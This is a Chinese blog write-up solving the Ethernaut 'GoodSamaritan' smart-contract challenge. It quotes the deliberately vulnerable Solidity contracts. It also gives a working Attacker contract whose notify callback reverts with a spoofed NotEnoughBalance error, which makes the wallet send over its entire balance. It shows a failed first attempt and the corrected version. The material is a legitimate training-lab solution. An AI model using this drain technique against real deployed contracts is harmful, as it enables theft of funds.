说来也巧,Ethernaut上一篇刚完结,突然点开看到又更新了GoodSamaritan,我干脆单独列出来把。
目标合约分析总共有三个合约互相作用,分别为GoodSamaritan
(慈善家,对外暴露捐款接口)、Coin
(慈善家通过钱包创建的代币合约)以及Wallet
(由慈善家所有)。本关卡的目的是获取到钱包里所有的余额。
核心代码如下:
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
在接受外部调用requestDonation
后,慈善家会通过wallet
的donate10
方法进一步调用coin
的transfer
实现10个代币的转账。合约中做了限定,那就是如果keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)
(即余额不足10个代币),就将剩下的都转给用户。
所以分析来看,我们的入口就在这里,否则10个10个来,那不得要等到猴年马月。那现在的问题就是要抛出NotEnoughBalance
。
在coin
的transfer
方法里,对目标地址作了校验,如果是合约,还会主动调用相关方法进行提醒。
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
我们不能指望wallet
去抛出NotEnoughBalance
,相反,考虑到coin
还与dest
有所交互,我们可以利用notify
方法在自己的合约中抛出NotEnoughBalance
。
说干就干,在remix里编写攻击合约,合约代码如下:
pragma solidity ^0.8.0;
interface GoodSamaritan {
function requestDonation() external returns(bool enoughBalance);
}
contract Attacker {
error NotEnoughBalance();
constructor() public{
}
function attack(address _addr) public {
GoodSamaritan(_addr).requestDonation();
}
function notify(uint256 amount) external {
revert NotEnoughBalance();
}
}
部署合约后,通过attack
方法发起攻击,当notify
方法被transfer
所调用时,会主动revert
抛出自定义的NotEnoughBalance
。
可是,似乎没有通过。
我们进入debug_trace
界面,发现transferRemainder(address)
对应的0xe40b8658
selector的确被调用了。
但为什么还是失败了呢?
原因是我们没有定义好notify
,导致在接受所有值时都直接抛出,这会使得最后的转账也失败了!修改notify
函数重新部署,仅当接受值为10以下时才抛出错误,这样就能“问心无愧”地接受大额代币了。
function notify(uint256 amount) external {
if (amount <= 10){
revert NotEnoughBalance();
}
}
重新部署,调用attack
函数。调用成功!
这题重点还是要找到入口,找到了就容易了!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)